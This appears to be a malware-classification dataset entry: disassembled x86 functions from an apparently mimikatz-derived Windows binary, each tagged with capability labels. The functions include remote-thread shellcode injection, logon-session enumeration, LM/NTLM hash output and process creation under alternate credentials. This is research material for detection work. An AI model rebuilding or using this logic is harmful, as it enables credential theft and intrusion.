joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ad78
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0x10048140
push dword [ebp + 8]
lea eax, [ebp - 4]
xor ebx, ebx
push eax
call fcn.1002b4be
add esp, 0xc
test eax, eax
jne 0x1000adf5
push 2
push ebx
push dword [ebp - 4]
call fcn.1002b03f
add esp, 0xc
test eax, eax
jne 0x1000adec
push esi
push edi
push dword [ebp - 4]
call fcn.1002b452
mov esi, eax
push esi
call fcn.10025e1e
mov edi, dword [ebp + 0xc]
push ebx
push ebx
push dword [ebp - 4]
mov dword [edi], eax
call fcn.1002b03f
push dword [ebp - 4]
push 1
push esi
push dword [edi]
call fcn.1002af04
add esp, 0x24
cmp eax, 1
jne 0x1000adea
mov eax, dword [edi]
cmp dword [eax], 0x66676572
sete bl
pop edi
pop esi
push dword [ebp - 4]
call fcn.1002acc8
pop ecx
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b622
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov eax, 0x10043e10
call fcn.10029f1c
sub esp, 0x20
push 0x100466b0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0xe], 0
call fcn.10003846
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 0xc]
call fcn.10022776
pop ecx
pop ecx
test al, al
je 0x1000b76b
lea eax, [ebp - 0xd]
mov byte [ebp - 0xd], 0
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100226c5
pop ecx
pop ecx
test al, al
je 0x1000b76b
cmp byte [ebp - 0xd], 0
je 0x1000b76b
mov eax, dword [ebp - 0x1c]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x40
push 0x1000
lea ebx, [eax*2 + 2]
push ebx
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x1000b768
push dword [esi]
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push ebx
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
call fcn.1000b88e
add esp, 0x10
test al, al
je 0x1000b758
push 0x1004814c
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
or dword [ebp - 0x14], 0xffffffff
mov ebx, eax
cmp dword [0x1006034c], 5
jbe 0x1000b726
push str.RtlCreateUserThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea ecx, [ebp - 0x14]
push edx
push ecx
push edi
push ebx
push edx
push edx
push edx
push edx
push edx
push dword [esi]
call eax
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x14]
jmp 0x1000b739
xor eax, eax
push eax
push eax
push edi
push ebx
push eax
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000b758
cmp eax, 0xffffffff
je 0x1000b758
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
mov byte [ebp - 0xe], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
pop ebx
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10003be3
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xe]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10014095
Capabilities:
Resume thread

Disassembly:
mov eax, 0x1004482c
call fcn.10029f1c
sub esp, 0x20
push ebx
push edi
and dword [ebp - 4], 0
push 0x10
mov byte [ebp - 0xd], 0
call fcn.10029538
mov ebx, eax
pop ecx
test ebx, ebx
je 0x100140c6
xor eax, eax
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
jmp 0x100140ca
xor edi, edi
mov ebx, edi
push edi
push edi
push 1
lea eax, [ebp + 8]
push ebx
push eax
call fcn.1001ffbf
add esp, 0x14
test al, al
je 0x1001424b
push esi
push 0x1d8
call fcn.10029538
mov esi, eax
pop ecx
test esi, esi
je 0x10014106
push 0x1d8
push edi
push esi
call fcn.1002ab40
add esp, 0xc
jmp 0x10014108
mov esi, edi
push dword [ebx]
push esi
call fcn.100205a9
pop ecx
pop ecx
test al, al
je 0x10014187
push dword [ebx]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], edi
push 1
push dword [ebp + 0x20]
push eax
push dword [ebp + 0x24]
push edi
push dword [esi + 8]
call fcn.1000b92c
add esp, 0x1c
test al, al
je 0x1001416c
push dword [ebx]
push dword [ebp + 0x20]
push dword [ebp + 0x28]
push dword [ebp - 0x14]
call fcn.1000b88e
add esp, 0x10
mov byte [ebp - 0xd], al
test al, al
jne 0x100141ce
push edi
lea eax, [ebp - 0x2c]
push 1
push eax
call fcn.10022435
add esp, 0xc
push eax
mov byte [ebp - 4], 1
push str.mod_memory::writeMemory
jmp 0x100141a0
push edi
lea eax, [ebp - 0x2c]
push 1
push eax
call fcn.10022435
add esp, 0xc
push eax
mov byte [ebp - 4], 2
push str.mod_memory::searchMemory
jmp 0x100141a0
push edi
lea eax, [ebp - 0x2c]
push 1
push eax
call fcn.10022435
add esp, 0xc
push eax
mov byte [ebp - 4], 3
push str.mod_process::getPeb
push dword [section..data]
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
push eax
call fcn.10005504
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
push 0
push 1
call fcn.10003be3
xor edi, edi
push esi
call fcn.10029589
pop ecx
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x10014223
push edi
lea eax, [ebp - 0x2c]
push 1
push eax
call fcn.10022435
add esp, 0xc
push eax
push 0x1004b838
push dword [section..data]
mov byte [ebp - 4], 4
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
push eax
call fcn.10005504
add esp, 0xc
lea ecx, [ebp - 0x2c]
push edi
push 1
call fcn.10003be3
mov ecx, dword [ebp + 0x2c]
test ecx, ecx
je 0x1001422f
mov eax, dword [ebx + 8]
mov dword [ecx], eax
push 0xffffffffffffffff
push dword [ebx]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebx + 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebx]
call esi
pop esi
jmp 0x1001428b
push edi
lea eax, [ebp - 0x2c]
push 1
push eax
call fcn.10022435
add esp, 0xc
push eax
push str.mod_process::execProcess
push dword [section..data]
mov byte [ebp - 4], 5
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
push eax
call fcn.10005504
add esp, 0xc
lea ecx, [ebp - 0x2c]
push edi
push 1
call fcn.10003be3
push ebx
call fcn.10029589
pop ecx
push edi
push 1
lea ecx, [ebp + 8]
call fcn.10003be3
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
pop edi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10017a84
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x10044d97
call fcn.10029f1c
sub esp, 0x48
push esi
push edi
push 7
pop ecx
xor edx, edx
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [ebp - 0x2c], edx
mov word [ebp - 0x3c], ax
mov dword [ebp - 4], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], edx
mov word [ebp - 0x24], ax
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push edx
mov byte [ebp - 4], 1
push dword [edi + 0x30]
lea eax, [esi + 0x9c]
push eax
push esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x3c]
push eax
call fcn.1000aa5b
push 1
push dword [edi + 0x30]
lea eax, [esi + 0xa8]
push eax
push esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x24]
push eax
call fcn.1000aa5b
mov eax, dword [esi + 0x10]
lea ecx, [ebp - 0x54]
add esp, 0x30
shr eax, 1
push eax
mov eax, dword [esi + 0xc]
add esi, 0xcc
add eax, esi
push eax
call fcn.10003877
mov esi, eax
push dword [section..data]
mov byte [ebp - 4], 2
call fcn.10005504
pop ecx
push dword [edi + 0x30]
push str.Rid__:
push eax
call fcn.10005067
pop ecx
pop ecx
mov ecx, eax
call fcn.10007a38
push eax
call fcn.10005504
pop ecx
push esi
push str.User_:
push eax
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
push eax
call fcn.10005504
add esp, 0xc
lea ecx, [ebp - 0x3c]
push ecx
push str.LM___:
push eax
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
push eax
call fcn.10005504
add esp, 0xc
lea ecx, [ebp - 0x24]
push ecx
push str.NTLM_:
push eax
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
push eax
call fcn.10005504
add esp, 0xc
lea ecx, [ebp - 0x54]
xor esi, esi
push esi
push 1
call fcn.10003be3
push esi
push 1
lea ecx, [ebp - 0x24]
call fcn.10003be3
push esi
push 1
lea ecx, [ebp - 0x3c]
call fcn.10003be3
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1001acad
Capabilities:
Get logon sessions

Disassembly:
mov eax, 0x10044fe4
call fcn.10029f1c
sub esp, 0x54
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
call sub.Secur32.dll_LsaEnumerateLogonSessions
test eax, eax
js 0x1001ae69
push ebx
xor ebx, ebx
cmp dword [ebp - 0x18], ebx
jbe 0x1001ae5e
push esi
push edi
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + ebx*8]
push eax
call sub.Secur32.dll_LsaGetLogonSessionData
test eax, eax
js 0x1001ae39
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x24], 3
je 0x1001ae31
push dword [eax + 0x18]
push dword [eax + 0x14]
lea eax, [ebp - 0x60]
push eax
call fcn.10022ca8
mov edi, eax
mov eax, dword [ebp - 0x10]
and dword [ebp - 4], 0
push dword [eax + 0x10]
push dword [eax + 0xc]
lea eax, [ebp - 0x48]
push eax
call fcn.10022ca8
mov esi, eax
mov eax, dword [ebp - 0x10]
mov byte [ebp - 4], 1
push dword [eax + 0x20]
push dword [eax + 0x1c]
lea eax, [ebp - 0x30]
push eax
call fcn.10022ca8
add esp, 0x24
mov ecx, dword [ebp - 0x14]
mov edx, 0x1004d498
push edx
push edi
push edx
push esi
push edx
push eax
push edx
push dword [ecx + ebx*8]
mov byte [ebp - 4], 2
push 0x1004d4a0
push dword [ecx + ebx*8 + 4]
push 0x1004d4a4
push dword [section..data]
call fcn.100098a5
pop ecx
pop ecx
mov ecx, eax
call fcn.1000f93d
push eax
call fcn.10005067
pop ecx
pop ecx
mov ecx, eax
call fcn.10007a38
push eax
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
pop ecx
pop ecx
push eax
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
pop ecx
pop ecx
push eax
call fcn.10005067
pop ecx
pop ecx
push eax
call fcn.10005259
pop ecx
pop ecx
push eax
call fcn.10005067
pop ecx
pop ecx
xor esi, esi
push esi
push 1
lea ecx, [ebp - 0x30]
call fcn.10003be3
push esi
push 1
lea ecx, [ebp - 0x48]
call fcn.10003be3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
push esi
push 1
call fcn.10003be3
mov edi, dword [ebp + 0xc]
mov esi, dword [edi]
cmp esi, dword [edi + 4]
je 0x1001ae2e
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
sete al
movzx eax, al
push eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + ebx*8]
push eax
call dword [esi]
push 0x1004d4a8
push dword [section..data]
call fcn.10005067
push eax
call fcn.10005504
add esp, 0xc
add esi, 0x1c
jmp 0x1001adf3
mov eax, dword [ebp - 0x10]
push eax
call sub.Secur32.dll_LsaFreeReturnBuffer
jmp 0x1001ae52
push str.Erreur_:_Impossible_dobtenir_les_donn
push dword [section..data]
call fcn.10005067
push eax
call fcn.10005504
add esp, 0xc
inc ebx
cmp ebx, dword [ebp - 0x18]
jb 0x1001acdd
pop edi
pop esi
push dword [ebp - 0x14]
call sub.Secur32.dll_LsaFreeReturnBuffer
pop ebx
jmp 0x1001ae82
push str.Erreur_:_Impossible_d
push dword [section..data]
call fcn.10005067
push eax
call fcn.10005504
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov al, 1
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1001e41d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x18
xor ebx, ebx
call fcn.10029538
mov esi, eax
pop ecx
test esi, esi
je 0x1001e43e
push 6
pop ecx
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
jmp 0x1001e440
mov esi, ebx
push esi
call fcn.1001e20c
pop ecx
test al, al
je 0x1001e476
mov eax, dword [ebp + 8]
push ebx
push ebx
push ebx
push dword [esi + eax]
push ebx
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x1001e476
push 0xffffffffffffffff
push edi
mov bl, 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.10029589
pop ecx
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x1001f98e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
and dword [esi + 0x10], 0
cmp dword [esi + 0x14], 8
jb 0x1001f9ad
mov eax, dword [esi]
jmp 0x1001f9af
mov eax, esi
xor ecx, ecx
mov word [eax], cx
push 0
lea eax, [ebp + 8]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x100]
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne bh
test bh, bh
jne 0x1001f9e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x1001fa01
mov eax, dword [ebp + 8]
mov ecx, esi
shr eax, 1
mov bl, 1
push eax
lea eax, [ebp - 0x100]
push eax
call fcn.1000646c
test bh, bh
je 0x1001f9b4
jmp 0x1001fa03
xor bl, bl
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1001fa0e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
mov esi, dword [eax + 0x10]
add esi, esi
cmp dword [eax + 0x14], 8
push edi
mov edi, ecx
jb 0x1001fa28
mov eax, dword [eax]
push ebx
lea ecx, [ebp + 8]
push ecx
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1001fa4f
cmp esi, dword [ebp + 8]
jne 0x1001fa4f
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
test eax, eax
setne bl
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret 4
Function at 0x1001fc10
Capabilities:
Get token privileges

Disassembly:
mov eax, 0x1004574d
call fcn.10029f1c
sub esp, 0x28
or dword [ebp - 0x14], 0xffffffff
mov eax, dword [ebp + 0xc]
push ebx
xor bl, bl
cmp eax, 0xffffffff
jne 0x1001fc32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x14]
push ecx
push 8
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1001fd43
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x10]
push eax
xor ecx, ecx
push ecx
push ecx
push 3
push dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
call esi
test eax, eax
jne 0x1001fd42
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1001fd42
push edi
push dword [ebp - 0x10]
call fcn.10025e1e
pop ecx
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push edi
push 3
push dword [ebp - 0x14]
call esi
test eax, eax
setne bl
mov byte [ebp + 0xf], bl
test bl, bl
je 0x1001fd3a
and dword [ebp - 0x18], 0
cmp dword [edi], 0
jbe 0x1001fd3a
lea ebx, [edi + 0xc]
push 0x18
call fcn.10029538
mov esi, eax
pop ecx
test esi, esi
je 0x1001fcd2
and dword [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 7
mov word [esi], ax
jmp 0x1001fcd4
xor esi, esi
lea eax, [ebx - 8]
push esi
push eax
call fcn.1001fb73
pop ecx
pop ecx
test al, al
je 0x1001fd0f
push ebx
lea eax, [ebp - 0x34]
push esi
push eax
call fcn.1001564a
add esp, 0xc
mov ecx, dword [ebp + 8]
and dword [ebp - 4], 0
push eax
call fcn.100157a9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
push 0
push 1
call fcn.10003be3
test esi, esi
je 0x1001fd25
push 0
push 1
mov ecx, esi
call fcn.10003be3
push esi
call fcn.10029589
pop ecx
mov eax, dword [ebp - 0x18]
add ebx, 0xc
inc eax
mov dword [ebp - 0x18], eax
cmp eax, dword [edi]
jb 0x1001fcb2
mov bl, byte [ebp + 0xf]
push edi
call fcn.1002ab36
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
mov al, bl
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1001fe36
Capabilities:
Enumerate processes

Disassembly:
mov eax, 0x1004575f
call fcn.10029f1c
sub esp, 0x268
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x1001ff46
lea eax, [ebp - 0x274]
mov dword [ebp - 0x274], 0x22c
push eax
push esi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1001ff3b
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x1001fea5
cmp dword [edi + 0x14], 8
jb 0x1001fe8c
mov eax, dword [edi]
jmp 0x1001fe8e
mov eax, edi
lea ecx, [ebp - 0x250]
push ecx
push eax
call fcn.1002d2a1
pop ecx
pop ecx
test eax, eax
jne 0x1001ff25
mov eax, dword [ebp - 0x274]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x250]
push eax
call fcn.10003846
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x48]
and dword [ebp - 4], 0
push eax
call fcn.100216e3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
push 0
push 1
call fcn.10003be3
lea eax, [ebp - 0x274]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1001fe7e
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1001ff48
xor al, al
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1001ffbf
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
mov ebx, dword [ebp + 0xc]
xor eax, eax
push esi
push edi
mov edi, ebx
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
push 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x44]
push eax
call fcn.1002ab40
mov dword [ebp - 0x44], esi
xor ecx, ecx
mov esi, dword [ebp + 8]
push 2
pop edx
mov eax, dword [esi + 0x10]
inc eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10025e1e
add esp, 0x10
mov edi, eax
mov ecx, esi
push 0
push dword [esi + 0x10]
push dword [esi + 0x10]
push edi
call fcn.10021068
mov ecx, dword [esi + 0x10]
xor eax, eax
cmp byte [ebp + 0x10], al
push 4
mov word [edi + ecx*2], ax
pop ecx
cmovne eax, ecx
lea ecx, [ebp - 0x44]
push ebx
push ecx
xor ecx, ecx
or eax, 0x10
push ecx
push ecx
push eax
cmp dword [ebp + 0x18], ecx
je 0x10020049
push ecx
push ecx
push ecx
push edi
push ecx
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x10020075
cmp byte [ebp + 0x14], 0
je 0x1002006a
push edi
push ecx
push 2
push str.mimikatzP
push str.mimikatzD
push str.mimikatzU
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
jmp 0x10020075
push ecx
push ecx
push ecx
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
push edi
setne bl
call fcn.1002ab36
pop ecx
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10020138
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
push dword [eax]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1002016e
cmp esi, 0xffffffff
je 0x1002016e
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
pop ebp
ret
Function at 0x10020208
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x10045779
call fcn.10029f1c
mov eax, dword [ebp + 0xc]
sub esp, 0x478
test eax, eax
je 0x10020223
mov eax, dword [eax]
jmp 0x10020225
xor eax, eax
push esi
push eax
push 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x100202fe
lea eax, [ebp - 0x484]
mov dword [ebp - 0x484], 0x428
push eax
push esi
call sub.KERNEL32.dll_Module32FirstW
jmp 0x100202eb
mov eax, dword [ebp - 0x484]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x464]
push eax
call fcn.10003846
and dword [ebp - 4], 0
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x24]
call fcn.10003846
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 4], 1
call fcn.1002164d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.10013f2e
lea eax, [ebp - 0x484]
push eax
push esi
call sub.KERNEL32.dll_Module32NextW
test eax, eax
jne 0x10020255
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x10020300
xor al, al
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10021d42
Capabilities:
Enumerate services

Disassembly:
mov eax, 0x100458b3
call fcn.10029f1c
sub esp, 0x70
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
mov byte [ebp - 0xd], bl
push esi
test eax, eax
je 0x10021d67
cmp dword [eax + 0x14], 8
jb 0x10021d69
mov eax, dword [eax]
jmp 0x10021d69
mov eax, ebx
push 5
push str.ServicesActive
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
je 0x10021e80
push ebx
lea eax, [ebp - 0x18]
mov dword [ebp + 0xc], ebx
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x18], ebx
push eax
push ebx
push ebx
push 3
push 0x3b
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
jne 0x10021e72
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x10021e72
push edi
push dword [ebp + 0xc]
call fcn.10025e1e
pop ecx
push ebx
mov edi, eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x28], edi
push eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push edi
push 3
push 0x3b
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
setne al
mov byte [ebp - 0xd], al
test al, al
je 0x10021e62
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x14], ebx
jbe 0x10021e62
lea esi, [edi + 8]
mov dword [ebp - 0x20], esi
push dword [esi - 8]
lea ecx, [ebp - 0x7c]
call fcn.10003846
push dword [esi - 4]
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], ebx
call fcn.10003846
push 9
pop ecx
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 4], 1
call fcn.1002232a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c]
call fcn.1000a033
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
inc eax
add esi, 0x2c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], esi
cmp eax, dword [ebp - 0x14]
jb 0x10021e07
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
push edi
call fcn.1002ab36
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
pop edi
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x100225a9
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 2
pop edi
push edi
mov dword [ebp - 4], ebx
call sub.Secur32.dll_GetUserNameExW
test al, al
jne 0x10022618
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x10022618
mov eax, dword [ebp - 4]
xor ecx, ecx
mul edi
push esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10025e1e
pop ecx
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
push edi
call sub.Secur32.dll_GetUserNameExW
test al, al
setne bl
test bl, bl
je 0x10022610
push esi
call fcn.10003e62
pop ecx
mov ecx, dword [ebp + 8]
push eax
push esi
call fcn.10003d32
push esi
call fcn.1002ab36
pop ecx
pop esi
pop edi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret